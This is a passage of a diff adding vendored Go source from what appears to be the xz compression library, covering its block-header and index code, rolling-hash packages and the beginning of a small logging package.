fp, err := f.MarshalBinary()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
buf.Write(fp)
|
||||
}
|
||||
|
||||
// padding
|
||||
for i := padLen(int64(buf.Len())); i > 0; i-- {
|
||||
buf.WriteByte(0)
|
||||
}
|
||||
|
||||
// crc place holder
|
||||
buf.Write(p[:4])
|
||||
|
||||
data = buf.Bytes()
|
||||
if len(data)%4 != 0 {
|
||||
panic("data length not aligned")
|
||||
}
|
||||
s := len(data)/4 - 1
|
||||
if !(1 < s && s <= 255) {
|
||||
panic("wrong block header size")
|
||||
}
|
||||
data[0] = byte(s)
|
||||
|
||||
crc := crc32.NewIEEE()
|
||||
crc.Write(data[:len(data)-4])
|
||||
putUint32LE(data[len(data)-4:], crc.Sum32())
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// Constants used for marshalling and unmarshalling filters in the xz
|
||||
// block header.
|
||||
const (
|
||||
minFilters = 1
|
||||
maxFilters = 4
|
||||
minReservedID = 1 << 62
|
||||
)
|
||||
|
||||
// filter represents a filter in the block header.
|
||||
type filter interface {
|
||||
id() uint64
|
||||
UnmarshalBinary(data []byte) error
|
||||
MarshalBinary() (data []byte, err error)
|
||||
reader(r io.Reader, c *ReaderConfig) (fr io.Reader, err error)
|
||||
writeCloser(w io.WriteCloser, c *WriterConfig) (fw io.WriteCloser, err error)
|
||||
// filter must be last filter
|
||||
last() bool
|
||||
}
|
||||
|
||||
// readFilter reads a block filter from the block header. At this point
|
||||
// in time only the LZMA2 filter is supported.
|
||||
func readFilter(r io.Reader) (f filter, err error) {
|
||||
br := lzma.ByteReader(r)
|
||||
|
||||
// index
|
||||
id, _, err := readUvarint(br)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var data []byte
|
||||
switch id {
|
||||
case lzmaFilterID:
|
||||
data = make([]byte, lzmaFilterLen)
|
||||
data[0] = lzmaFilterID
|
||||
if _, err = io.ReadFull(r, data[1:]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f = new(lzmaFilter)
|
||||
default:
|
||||
if id >= minReservedID {
|
||||
return nil, errors.New(
|
||||
"xz: reserved filter id in block stream header")
|
||||
}
|
||||
return nil, errors.New("xz: invalid filter id")
|
||||
}
|
||||
if err = f.UnmarshalBinary(data); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return f, err
|
||||
}
|
||||
|
||||
// readFilters reads count filters. At this point in time only the count
|
||||
// 1 is supported.
|
||||
func readFilters(r io.Reader, count int) (filters []filter, err error) {
|
||||
if count != 1 {
|
||||
return nil, errors.New("xz: unsupported filter count")
|
||||
}
|
||||
f, err := readFilter(r)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []filter{f}, err
|
||||
}
|
||||
|
||||
/*** Index ***/
|
||||
|
||||
// record describes a block in the xz file index.
|
||||
type record struct {
|
||||
unpaddedSize int64
|
||||
uncompressedSize int64
|
||||
}
|
||||
|
||||
// readRecord reads an index record.
|
||||
func readRecord(r io.ByteReader) (rec record, n int, err error) {
|
||||
u, k, err := readUvarint(r)
|
||||
n += k
|
||||
if err != nil {
|
||||
return rec, n, err
|
||||
}
|
||||
rec.unpaddedSize = int64(u)
|
||||
if rec.unpaddedSize < 0 {
|
||||
return rec, n, errors.New("xz: unpadded size negative")
|
||||
}
|
||||
|
||||
u, k, err = readUvarint(r)
|
||||
n += k
|
||||
if err != nil {
|
||||
return rec, n, err
|
||||
}
|
||||
rec.uncompressedSize = int64(u)
|
||||
if rec.uncompressedSize < 0 {
|
||||
return rec, n, errors.New("xz: uncompressed size negative")
|
||||
}
|
||||
|
||||
return rec, n, nil
|
||||
}
|
||||
|
||||
// MarshalBinary converts an index record in its binary encoding.
|
||||
func (rec *record) MarshalBinary() (data []byte, err error) {
|
||||
// maximum length of a uvarint is 10
|
||||
p := make([]byte, 20)
|
||||
n := putUvarint(p, uint64(rec.unpaddedSize))
|
||||
n += putUvarint(p[n:], uint64(rec.uncompressedSize))
|
||||
return p[:n], nil
|
||||
}
|
||||
|
||||
// writeIndex writes the index, a sequence of records.
|
||||
func writeIndex(w io.Writer, index []record) (n int64, err error) {
|
||||
crc := crc32.NewIEEE()
|
||||
mw := io.MultiWriter(w, crc)
|
||||
|
||||
// index indicator
|
||||
k, err := mw.Write([]byte{0})
|
||||
n += int64(k)
|
||||
if err != nil {
|
||||
return n, err
|
||||
}
|
||||
|
||||
// number of records
|
||||
p := make([]byte, 10)
|
||||
k = putUvarint(p, uint64(len(index)))
|
||||
k, err = mw.Write(p[:k])
|
||||
n += int64(k)
|
||||
if err != nil {
|
||||
return n, err
|
||||
}
|
||||
|
||||
// list of records
|
||||
for _, rec := range index {
|
||||
p, err := rec.MarshalBinary()
|
||||
if err != nil {
|
||||
return n, err
|
||||
}
|
||||
k, err = mw.Write(p)
|
||||
n += int64(k)
|
||||
if err != nil {
|
||||
return n, err
|
||||
}
|
||||
}
|
||||
|
||||
// index padding
|
||||
k, err = mw.Write(make([]byte, padLen(int64(n))))
|
||||
n += int64(k)
|
||||
if err != nil {
|
||||
return n, err
|
||||
}
|
||||
|
||||
// crc32 checksum
|
||||
putUint32LE(p, crc.Sum32())
|
||||
k, err = w.Write(p[:4])
|
||||
n += int64(k)
|
||||
|
||||
return n, err
|
||||
}
|
||||
|
||||
// readIndexBody reads the index from the reader. It assumes that the
|
||||
// index indicator has already been read.
|
||||
func readIndexBody(r io.Reader, expectedRecordLen int) (records []record, n int64, err error) {
|
||||
crc := crc32.NewIEEE()
|
||||
// index indicator
|
||||
crc.Write([]byte{0})
|
||||
|
||||
br := lzma.ByteReader(io.TeeReader(r, crc))
|
||||
|
||||
// number of records
|
||||
u, k, err := readUvarint(br)
|
||||
n += int64(k)
|
||||
if err != nil {
|
||||
return nil, n, err
|
||||
}
|
||||
recLen := int(u)
|
||||
if recLen < 0 || uint64(recLen) != u {
|
||||
return nil, n, errors.New("xz: record number overflow")
|
||||
}
|
||||
if recLen != expectedRecordLen {
|
||||
return nil, n, fmt.Errorf(
|
||||
"xz: index length is %d; want %d",
|
||||
recLen, expectedRecordLen)
|
||||
}
|
||||
|
||||
// list of records
|
||||
records = make([]record, recLen)
|
||||
for i := range records {
|
||||
records[i], k, err = readRecord(br)
|
||||
n += int64(k)
|
||||
if err != nil {
|
||||
return nil, n, err
|
||||
}
|
||||
}
|
||||
|
||||
p := make([]byte, padLen(int64(n+1)), 4)
|
||||
k, err = io.ReadFull(br.(io.Reader), p)
|
||||
n += int64(k)
|
||||
if err != nil {
|
||||
return nil, n, err
|
||||
}
|
||||
if !allZeros(p) {
|
||||
return nil, n, errors.New("xz: non-zero byte in index padding")
|
||||
}
|
||||
|
||||
// crc32
|
||||
s := crc.Sum32()
|
||||
p = p[:4]
|
||||
k, err = io.ReadFull(br.(io.Reader), p)
|
||||
n += int64(k)
|
||||
if err != nil {
|
||||
return records, n, err
|
||||
}
|
||||
if uint32LE(p) != s {
|
||||
return nil, n, errors.New("xz: wrong checksum for index")
|
||||
}
|
||||
|
||||
return records, n, nil
|
||||
}
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
+181
@@ -0,0 +1,181 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package hash
|
||||
|
||||
// CyclicPoly provides a cyclic polynomial rolling hash.
|
||||
type CyclicPoly struct {
|
||||
h uint64
|
||||
p []uint64
|
||||
i int
|
||||
}
|
||||
|
||||
// ror rotates the unsigned 64-bit integer to right. The argument s must be
|
||||
// less than 64.
|
||||
func ror(x uint64, s uint) uint64 {
|
||||
return (x >> s) | (x << (64 - s))
|
||||
}
|
||||
|
||||
// NewCyclicPoly creates a new instance of the CyclicPoly structure. The
|
||||
// argument n gives the number of bytes for which a hash will be executed.
|
||||
// This number must be positive; the method panics if this isn't the case.
|
||||
func NewCyclicPoly(n int) *CyclicPoly {
|
||||
if n < 1 {
|
||||
panic("argument n must be positive")
|
||||
}
|
||||
return &CyclicPoly{p: make([]uint64, 0, n)}
|
||||
}
|
||||
|
||||
// Len returns the length of the byte sequence for which a hash is generated.
|
||||
func (r *CyclicPoly) Len() int {
|
||||
return cap(r.p)
|
||||
}
|
||||
|
||||
// RollByte hashes the next byte and returns a hash value. The complete becomes
|
||||
// available after at least Len() bytes have been hashed.
|
||||
func (r *CyclicPoly) RollByte(x byte) uint64 {
|
||||
y := hash[x]
|
||||
if len(r.p) < cap(r.p) {
|
||||
r.h = ror(r.h, 1) ^ y
|
||||
r.p = append(r.p, y)
|
||||
} else {
|
||||
r.h ^= ror(r.p[r.i], uint(cap(r.p)-1))
|
||||
r.h = ror(r.h, 1) ^ y
|
||||
r.p[r.i] = y
|
||||
r.i = (r.i + 1) % cap(r.p)
|
||||
}
|
||||
return r.h
|
||||
}
|
||||
|
||||
// Stores the hash for the individual bytes.
|
||||
var hash = [256]uint64{
|
||||
0x2e4fc3f904065142, 0xc790984cfbc99527,
|
||||
0x879f95eb8c62f187, 0x3b61be86b5021ef2,
|
||||
0x65a896a04196f0a5, 0xc5b307b80470b59e,
|
||||
0xd3bff376a70df14b, 0xc332f04f0b3f1701,
|
||||
0x753b5f0e9abf3e0d, 0xb41538fdfe66ef53,
|
||||
0x1906a10c2c1c0208, 0xfb0c712a03421c0d,
|
||||
0x38be311a65c9552b, 0xfee7ee4ca6445c7e,
|
||||
0x71aadeded184f21e, 0xd73426fccda23b2d,
|
||||
0x29773fb5fb9600b5, 0xce410261cd32981a,
|
||||
0xfe2848b3c62dbc2d, 0x459eaaff6e43e11c,
|
||||
0xc13e35fc9c73a887, 0xf30ed5c201e76dbc,
|
||||
0xa5f10b3910482cea, 0x2945d59be02dfaad,
|
||||
0x06ee334ff70571b5, 0xbabf9d8070f44380,
|
||||
0xee3e2e9912ffd27c, 0x2a7118d1ea6b8ea7,
|
||||
0x26183cb9f7b1664c, 0xea71dac7da068f21,
|
||||
0xea92eca5bd1d0bb7, 0x415595862defcd75,
|
||||
0x248a386023c60648, 0x9cf021ab284b3c8a,
|
||||
0xfc9372df02870f6c, 0x2b92d693eeb3b3fc,
|
||||
0x73e799d139dc6975, 0x7b15ae312486363c,
|
||||
0xb70e5454a2239c80, 0x208e3fb31d3b2263,
|
||||
0x01f563cabb930f44, 0x2ac4533d2a3240d8,
|
||||
0x84231ed1064f6f7c, 0xa9f020977c2a6d19,
|
||||
0x213c227271c20122, 0x09fe8a9a0a03d07a,
|
||||
0x4236dc75bcaf910c, 0x460a8b2bead8f17e,
|
||||
0xd9b27be1aa07055f, 0xd202d5dc4b11c33e,
|
||||
0x70adb010543bea12, 0xcdae938f7ea6f579,
|
||||
0x3f3d870208672f4d, 0x8e6ccbce9d349536,
|
||||
0xe4c0871a389095ae, 0xf5f2a49152bca080,
|
||||
0x9a43f9b97269934e, 0xc17b3753cb6f475c,
|
||||
0xd56d941e8e206bd4, 0xac0a4f3e525eda00,
|
||||
0xa06d5a011912a550, 0x5537ed19537ad1df,
|
||||
0xa32fe713d611449d, 0x2a1d05b47c3b579f,
|
||||
0x991d02dbd30a2a52, 0x39e91e7e28f93eb0,
|
||||
0x40d06adb3e92c9ac, 0x9b9d3afde1c77c97,
|
||||
0x9a3f3f41c02c616f, 0x22ecd4ba00f60c44,
|
||||
0x0b63d5d801708420, 0x8f227ca8f37ffaec,
|
||||
0x0256278670887c24, 0x107e14877dbf540b,
|
||||
0x32c19f2786ac1c05, 0x1df5b12bb4bc9c61,
|
||||
0xc0cac129d0d4c4e2, 0x9fdb52ee9800b001,
|
||||
0x31f601d5d31c48c4, 0x72ff3c0928bcaec7,
|
||||
0xd99264421147eb03, 0x535a2d6d38aefcfe,
|
||||
0x6ba8b4454a916237, 0xfa39366eaae4719c,
|
||||
0x10f00fd7bbb24b6f, 0x5bd23185c76c84d4,
|
||||
0xb22c3d7e1b00d33f, 0x3efc20aa6bc830a8,
|
||||
0xd61c2503fe639144, 0x30ce625441eb92d3,
|
||||
0xe5d34cf359e93100, 0xa8e5aa13f2b9f7a5,
|
||||
0x5c2b8d851ca254a6, 0x68fb6c5e8b0d5fdf,
|
||||
0xc7ea4872c96b83ae, 0x6dd5d376f4392382,
|
||||
0x1be88681aaa9792f, 0xfef465ee1b6c10d9,
|
||||
0x1f98b65ed43fcb2e, 0x4d1ca11eb6e9a9c9,
|
||||
0x7808e902b3857d0b, 0x171c9c4ea4607972,
|
||||
0x58d66274850146df, 0x42b311c10d3981d1,
|
||||
0x647fa8c621c41a4c, 0xf472771c66ddfedc,
|
||||
0x338d27e3f847b46b, 0x6402ce3da97545ce,
|
||||
0x5162db616fc38638, 0x9c83be97bc22a50e,
|
||||
0x2d3d7478a78d5e72, 0xe621a9b938fd5397,
|
||||
0x9454614eb0f81c45, 0x395fb6e742ed39b6,
|
||||
0x77dd9179d06037bf, 0xc478d0fee4d2656d,
|
||||
0x35d9d6cb772007af, 0x83a56e92c883f0f6,
|
||||
0x27937453250c00a1, 0x27bd6ebc3a46a97d,
|
||||
0x9f543bf784342d51, 0xd158f38c48b0ed52,
|
||||
0x8dd8537c045f66b4, 0x846a57230226f6d5,
|
||||
0x6b13939e0c4e7cdf, 0xfca25425d8176758,
|
||||
0x92e5fc6cd52788e6, 0x9992e13d7a739170,
|
||||
0x518246f7a199e8ea, 0xf104c2a71b9979c7,
|
||||
0x86b3ffaabea4768f, 0x6388061cf3e351ad,
|
||||
0x09d9b5295de5bbb5, 0x38bf1638c2599e92,
|
||||
0x1d759846499e148d, 0x4c0ff015e5f96ef4,
|
||||
0xa41a94cfa270f565, 0x42d76f9cb2326c0b,
|
||||
0x0cf385dd3c9c23ba, 0x0508a6c7508d6e7a,
|
||||
0x337523aabbe6cf8d, 0x646bb14001d42b12,
|
||||
0xc178729d138adc74, 0xf900ef4491f24086,
|
||||
0xee1a90d334bb5ac4, 0x9755c92247301a50,
|
||||
0xb999bf7c4ff1b610, 0x6aeeb2f3b21e8fc9,
|
||||
0x0fa8084cf91ac6ff, 0x10d226cf136e6189,
|
||||
0xd302057a07d4fb21, 0x5f03800e20a0fcc3,
|
||||
0x80118d4ae46bd210, 0x58ab61a522843733,
|
||||
0x51edd575c5432a4b, 0x94ee6ff67f9197f7,
|
||||
0x765669e0e5e8157b, 0xa5347830737132f0,
|
||||
0x3ba485a69f01510c, 0x0b247d7b957a01c3,
|
||||
0x1b3d63449fd807dc, 0x0fdc4721c30ad743,
|
||||
0x8b535ed3829b2b14, 0xee41d0cad65d232c,
|
||||
0xe6a99ed97a6a982f, 0x65ac6194c202003d,
|
||||
0x692accf3a70573eb, 0xcc3c02c3e200d5af,
|
||||
0x0d419e8b325914a3, 0x320f160f42c25e40,
|
||||
0x00710d647a51fe7a, 0x3c947692330aed60,
|
||||
0x9288aa280d355a7a, 0xa1806a9b791d1696,
|
||||
0x5d60e38496763da1, 0x6c69e22e613fd0f4,
|
||||
0x977fc2a5aadffb17, 0xfb7bd063fc5a94ba,
|
||||
0x460c17992cbaece1, 0xf7822c5444d3297f,
|
||||
0x344a9790c69b74aa, 0xb80a42e6cae09dce,
|
||||
0x1b1361eaf2b1e757, 0xd84c1e758e236f01,
|
||||
0x88e0b7be347627cc, 0x45246009b7a99490,
|
||||
0x8011c6dd3fe50472, 0xc341d682bffb99d7,
|
||||
0x2511be93808e2d15, 0xd5bc13d7fd739840,
|
||||
0x2a3cd030679ae1ec, 0x8ad9898a4b9ee157,
|
||||
0x3245fef0a8eaf521, 0x3d6d8dbbb427d2b0,
|
||||
0x1ed146d8968b3981, 0x0c6a28bf7d45f3fc,
|
||||
0x4a1fd3dbcee3c561, 0x4210ff6a476bf67e,
|
||||
0xa559cce0d9199aac, 0xde39d47ef3723380,
|
||||
0xe5b69d848ce42e35, 0xefa24296f8e79f52,
|
||||
0x70190b59db9a5afc, 0x26f166cdb211e7bf,
|
||||
0x4deaf2df3c6b8ef5, 0xf171dbdd670f1017,
|
||||
0xb9059b05e9420d90, 0x2f0da855c9388754,
|
||||
0x611d5e9ab77949cc, 0x2912038ac01163f4,
|
||||
0x0231df50402b2fba, 0x45660fc4f3245f58,
|
||||
0xb91cc97c7c8dac50, 0xb72d2aafe4953427,
|
||||
0xfa6463f87e813d6b, 0x4515f7ee95d5c6a2,
|
||||
0x1310e1c1a48d21c3, 0xad48a7810cdd8544,
|
||||
0x4d5bdfefd5c9e631, 0xa43ed43f1fdcb7de,
|
||||
0xe70cfc8fe1ee9626, 0xef4711b0d8dda442,
|
||||
0xb80dd9bd4dab6c93, 0xa23be08d31ba4d93,
|
||||
0x9b37db9d0335a39c, 0x494b6f870f5cfebc,
|
||||
0x6d1b3c1149dda943, 0x372c943a518c1093,
|
||||
0xad27af45e77c09c4, 0x3b6f92b646044604,
|
||||
0xac2917909f5fcf4f, 0x2069a60e977e5557,
|
||||
0x353a469e71014de5, 0x24be356281f55c15,
|
||||
0x2b6d710ba8e9adea, 0x404ad1751c749c29,
|
||||
0xed7311bf23d7f185, 0xba4f6976b4acc43e,
|
||||
0x32d7198d2bc39000, 0xee667019014d6e01,
|
||||
0x494ef3e128d14c83, 0x1f95a152baecd6be,
|
||||
0x201648dff1f483a5, 0x68c28550c8384af6,
|
||||
0x5fc834a6824a7f48, 0x7cd06cb7365eaf28,
|
||||
0xd82bbd95e9b30909, 0x234f0d1694c53f6d,
|
||||
0xd2fb7f4a96d83f4a, 0xff0d5da83acac05e,
|
||||
0xf8f6b97f5585080a, 0x74236084be57b95b,
|
||||
0xa25e40c03bbc36ad, 0x6b6e5c14ce88465b,
|
||||
0x4378ffe93e1528c5, 0x94ca92a17118e2d2,
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
/*
|
||||
Package hash provides rolling hashes.
|
||||
|
||||
Rolling hashes have to be used for maintaining the positions of n-byte
|
||||
sequences in the dictionary buffer.
|
||||
|
||||
The package provides currently the Rabin-Karp rolling hash and a Cyclic
|
||||
Polynomial hash. Both support the Hashes method to be used with an interface.
|
||||
*/
|
||||
package hash
|
||||
+66
@@ -0,0 +1,66 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package hash
|
||||
|
||||
// A is the default constant for Robin-Karp rolling hash. This is a random
|
||||
// prime.
|
||||
const A = 0x97b548add41d5da1
|
||||
|
||||
// RabinKarp supports the computation of a rolling hash.
|
||||
type RabinKarp struct {
|
||||
A uint64
|
||||
// a^n
|
||||
aOldest uint64
|
||||
h uint64
|
||||
p []byte
|
||||
i int
|
||||
}
|
||||
|
||||
// NewRabinKarp creates a new RabinKarp value. The argument n defines the
|
||||
// length of the byte sequence to be hashed. The default constant will will be
|
||||
// used.
|
||||
func NewRabinKarp(n int) *RabinKarp {
|
||||
return NewRabinKarpConst(n, A)
|
||||
}
|
||||
|
||||
// NewRabinKarpConst creates a new RabinKarp value. The argument n defines the
|
||||
// length of the byte sequence to be hashed. The argument a provides the
|
||||
// constant used to compute the hash.
|
||||
func NewRabinKarpConst(n int, a uint64) *RabinKarp {
|
||||
if n <= 0 {
|
||||
panic("number of bytes n must be positive")
|
||||
}
|
||||
aOldest := uint64(1)
|
||||
// There are faster methods. For the small n required by the LZMA
|
||||
// compressor O(n) is sufficient.
|
||||
for i := 0; i < n; i++ {
|
||||
aOldest *= a
|
||||
}
|
||||
return &RabinKarp{
|
||||
A: a, aOldest: aOldest,
|
||||
p: make([]byte, 0, n),
|
||||
}
|
||||
}
|
||||
|
||||
// Len returns the length of the byte sequence.
|
||||
func (r *RabinKarp) Len() int {
|
||||
return cap(r.p)
|
||||
}
|
||||
|
||||
// RollByte computes the hash after x has been added.
|
||||
func (r *RabinKarp) RollByte(x byte) uint64 {
|
||||
if len(r.p) < cap(r.p) {
|
||||
r.h += uint64(x)
|
||||
r.h *= r.A
|
||||
r.p = append(r.p, x)
|
||||
} else {
|
||||
r.h -= uint64(r.p[r.i]) * r.aOldest
|
||||
r.h += uint64(x)
|
||||
r.h *= r.A
|
||||
r.p[r.i] = x
|
||||
r.i = (r.i + 1) % cap(r.p)
|
||||
}
|
||||
return r.h
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package hash
|
||||
|
||||
// Roller provides an interface for rolling hashes. The hash value will become
|
||||
// valid after hash has been called Len times.
|
||||
type Roller interface {
|
||||
Len() int
|
||||
RollByte(x byte) uint64
|
||||
}
|
||||
|
||||
// Hashes computes all hash values for the array p. Note that the state of the
|
||||
// roller is changed.
|
||||
func Hashes(r Roller, p []byte) []uint64 {
|
||||
n := r.Len()
|
||||
if len(p) < n {
|
||||
return nil
|
||||
}
|
||||
h := make([]uint64, len(p)-n+1)
|
||||
for i := 0; i < n-1; i++ {
|
||||
r.RollByte(p[i])
|
||||
}
|
||||
for i := range h {
|
||||
h[i] = r.RollByte(p[i+n-1])
|
||||
}
|
||||
return h
|
||||
}
|
||||
+456
@@ -0,0 +1,456 @@
|
||||
// Copyright 2014-2022 Ulrich Kunitz. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package xlog provides a simple logging package that allows to disable
|
||||
// certain message categories. It defines a type, Logger, with multiple
|
||||
// methods for formatting output. The package has also a predefined
|
||||
// 'standard' Logger accessible through helper function Print[f|ln],
|
||||
// Fatal[f|ln], Panic[f|ln], Warn[f|ln], Print[f|ln] and Debug[f|ln]
|
||||
// that are easier to use then creating a Logger manually. That logger
|
||||
// writes to standard error and prints the date and time of each logged
|
||||
// message, which can be configured using the function SetFlags.
|
||||
//
|
||||
// The Fatal functions call os.Exit(1) after the message is output
|
||||
// unless not suppressed by the flags. The Panic functions call panic
|
||||
// after the writing the log message unless suppressed.
|
||||
package xlog
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"runtime"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The flags define what information is prefixed to each log entry
|
||||
// generated by the Logger. The Lno* versions allow the suppression of
|
||||
// specific output. The bits are or'ed together to control what will be
|
||||
// printed. There is no control over the order of the items printed and
|
||||
// the format. The full format is:
|
||||
//
|
||||
// 2009-01-23 01:23:23.123123 /a/b/c/d.go:23: message
|
||||
const (
|
||||
Ldate = 1 << iota // the date: 2009-01-23
|
||||
Ltime // the time: 01:23:23
|
||||
Lmicroseconds // microsecond resolution: 01:23:23.123123
|
||||
Llongfile // full file name and line number: /a/b/c/d.go:23
|
||||
Lshortfile // final file name element and line number: d.go:23
|
||||
Lnopanic // suppresses output from Panic[f|ln] but not the panic call
|
||||
Lnofatal // suppresses output from Fatal[f|ln] but not the exit
|
||||
Lnowarn // suppresses output from Warn[f|ln]
|
||||
Lnoprint // suppresses output from Print[f|ln]
|
||||
Lnodebug // suppresses output from Debug[f|ln]
|
||||
// initial values for the standard logger
|
||||
Lstdflags = Ldate | Ltime | Lnodebug
|
||||
)
|
||||
|
||||
// A Logger represents an active logging object that generates lines of
|
||||
// output to an io.Writer. Each logging operation if not suppressed
|
||||
// makes a single call to the Writer's Write method. A Logger can be
|
||||
// used simultaneously from multiple goroutines; it guarantees to
|
||||
// serialize access to the Writer.
|
||||
type Logger struct {
|
||||
mu sync.Mutex // ensures atomic writes; and protects the following
|
||||
// fields
|
||||
prefix string // prefix to write at beginning of each line
|
||||
flag int // properties
|
||||
out io.Writer // destination for output
|
||||
buf []byte // for accumulating text to write
|
||||
}
|
||||
|
||||
// New creates a new Logger. The out argument sets the destination to
|
||||
// which the log output will be written. The prefix appears at the
|
||||
// beginning of each log line. The flag argument defines the logging
|
||||
// properties.
|
||||
func New(out io.Writer, prefix string, flag int) *Logger {
|
||||
return &Logger{out: out, prefix: prefix, flag: flag}
|
||||
}
|
||||
|
||||
// std is the standard logger used by the package scope functions.
|
||||
var std = New(os.Stderr, "", Lstdflags)
|
||||
|
||||
// itoa converts the integer to ASCII. A negative widths will avoid
|
||||
// zero-padding. The function supports only non-negative integers.
|
||||
func itoa(buf *[]byte, i int, wid int) {
|
||||
var u = uint(i)
|
||||
if u == 0 && wid <= 1 {
|
||||
*buf = append(*buf, '0')
|
||||
return
|
||||
}
|
||||
var b [32]byte
|
||||
bp := len(b)
|
||||
for ; u > 0 || wid > 0; u /= 10 {
|
||||
bp--
|
||||
wid--
|
||||
b[bp] = byte(u%10) + '0'
|
||||
}
|
||||
*buf = append(*buf, b[bp:]...)
|
||||
}
|
||||
|
||||
// formatHeader puts the header into the buf field of the buffer.
|
||||
func (l *Logger) formatHeader(t time.Time, file string, line int) {
|
||||
l.buf = append(l.buf, l.prefix...)
|
||||
if l.flag&(Ldate|Ltime|Lmicroseconds) != 0 {
|
||||
if l.flag&Ldate != 0 {
|
||||
year, month, day := t.Date()
|
||||
itoa(&l.buf, year, 4)
|
||||
l.buf = append(l.buf, '-')
|
||||
itoa(&l.buf, int(month), 2)
|
||||
l.buf = append(l.buf, '-')
|
||||
itoa(&l.buf, day, 2)
|
||||
l.buf = append(l.buf, ' ')
|
||||
}
|
||||
if l.flag&(Ltime|Lmicroseconds) != 0 {
|
||||
hour, min, sec := t.Clock()
|
||||
itoa(&l.buf, hour, 2)
|
||||
l.buf = append(l.buf, ':')
|
||||
itoa(&l.buf, min, 2)
|
||||
l.buf = append(l.buf, ':')
|
||||
itoa(&l.buf, sec, 2)
|
||||
if l.flag&Lmicroseconds != 0 {
|
||||
l.buf = append(l.buf, '.')
|
||||
itoa(&l.buf, t.Nanosecond()/1e3, 6)
|
||||
}
|
||||
l.buf = append(l.buf, ' ')
|
||||
}
|
||||
}
|
||||
if l.flag&(Lshortfile|Llongfile) != 0 {
|
||||
if l.flag&Lshortfile != 0 {
|
||||
short := file
|
||||
for i := len(file) - 1; i > 0; i-- {
|
||||
if file[i] == '/' {
|
||||
short = file[i+1:]
|
||||
break
|
||||
}
|
||||
}
|
||||
file = short
|
||||
}
|
||||
l.buf = append(l.buf, file...)
|
||||
l.buf = append(l.buf, ':')
|
||||
itoa(&l.buf, line, -1)
|
||||
l.buf = append(l.buf, ": "...)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *Logger) output(calldepth int, now time.Time, s string) error {
|
||||
var file string
|
||||
var line int
|
||||
if l.flag&(Lshortfile|Llongfile) != 0 {
|
||||
l.mu.Unlock()
|
||||
var ok bool
|
||||
_, file, line, ok = runtime.Caller(calldepth)
|
||||
if !ok {
|
||||
file = "???"
|
||||
line = 0
|
||||
}
|
||||
l.mu.Lock()
|
||||
}
|
||||
l.buf = l.buf[:0]
|
||||
l.formatHeader(now, file, line)
|
||||
l.buf = append(l.buf, s...)
|
||||
if len(s) == 0 || s[len(s)-1] != '\n' {
|
||||
l.buf = append(l.buf, '\n')
|
||||
}
|
||||
_, err := l.out.Write(l.buf)
|
||||
return err
|
||||
}
|
||||
|
||||
// Output writes the string s with the header controlled by the flags to
|
||||
// the l.out writer. A newline will be appended if s doesn't end in a
|
||||
// newline. Calldepth is used to recover the PC, although all current
|
||||
// calls of Output use the call depth 2. Access to the function is serialized.
|
||||
func (l *Logger) Output(calldepth, noflag int, v ...interface{}) error {
|
||||
now := time.Now()
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.flag&noflag != 0 {
|
||||
return nil
|
||||
}
|
||||
s := fmt.Sprint(v...)
|
||||
return l.output(calldepth+1, now, s)
|
||||
}
|
||||
|
||||
// Outputf works like output but formats the output like Printf.
|
||||
func (l *Logger) Outputf(calldepth int, noflag int, format string, v ...interface{}) error {
|
||||
now := time.Now()
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.flag&noflag != 0 {
|
||||
return nil
|
||||
}
|
||||
s := fmt.Sprintf(format, v...)
|
||||
return l.output(calldepth+1, now, s)
|
||||
}
|
||||
|
||||
// Outputln works like output but formats the output like Println.
|
||||
func (l *Logger) Outputln(calldepth int, noflag int, v ...interface{}) error {
|
||||
now := time.Now()
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.flag&noflag != 0 {
|
||||
return nil
|
||||
}
|
||||
s := fmt.Sprintln(v...)
|
||||
return l.output(calldepth+1, now, s)
|
||||
}
|
||||
|
||||
// Panic prints the message like Print and calls panic. The printing
|
||||
// might be suppressed by the flag Lnopanic.
|
||||
func (l *Logger) Panic(v ...interface{}) {
|
||||
l.Output(2, Lnopanic, v...)
|
||||
s := fmt.Sprint(v...)
|
||||
panic(s)
|
||||
}
|
||||
|
||||
// Panic prints the message like Print and calls panic. The printing
|
||||
// might be suppressed by the flag Lnopanic.
|
||||
func Panic(v ...interface{}) {
|
||||
std.Output(2, Lnopanic, v...)
|
||||
s := fmt.Sprint(v...)
|
||||
panic(s)
|
||||
}
|
||||
|
||||
// Panicf prints the message like Printf and calls panic. The printing
|
||||
// might be suppressed by the flag Lnopanic.
|
||||
func (l *Logger) Panicf(format string, v ...interface{}) {
|
||||
l.Outputf(2, Lnopanic, format, v...)
|
||||
s := fmt.Sprintf(format, v...)
|
||||
panic(s)
|
||||
}
|
||||
|
||||
// Panicf prints the message like Printf and calls panic. The printing
|
||||
// might be suppressed by the flag Lnopanic.
|
||||
func Panicf(format string, v ...interface{}) {
|
||||
std.Outputf(2, Lnopanic, format, v...)
|
||||
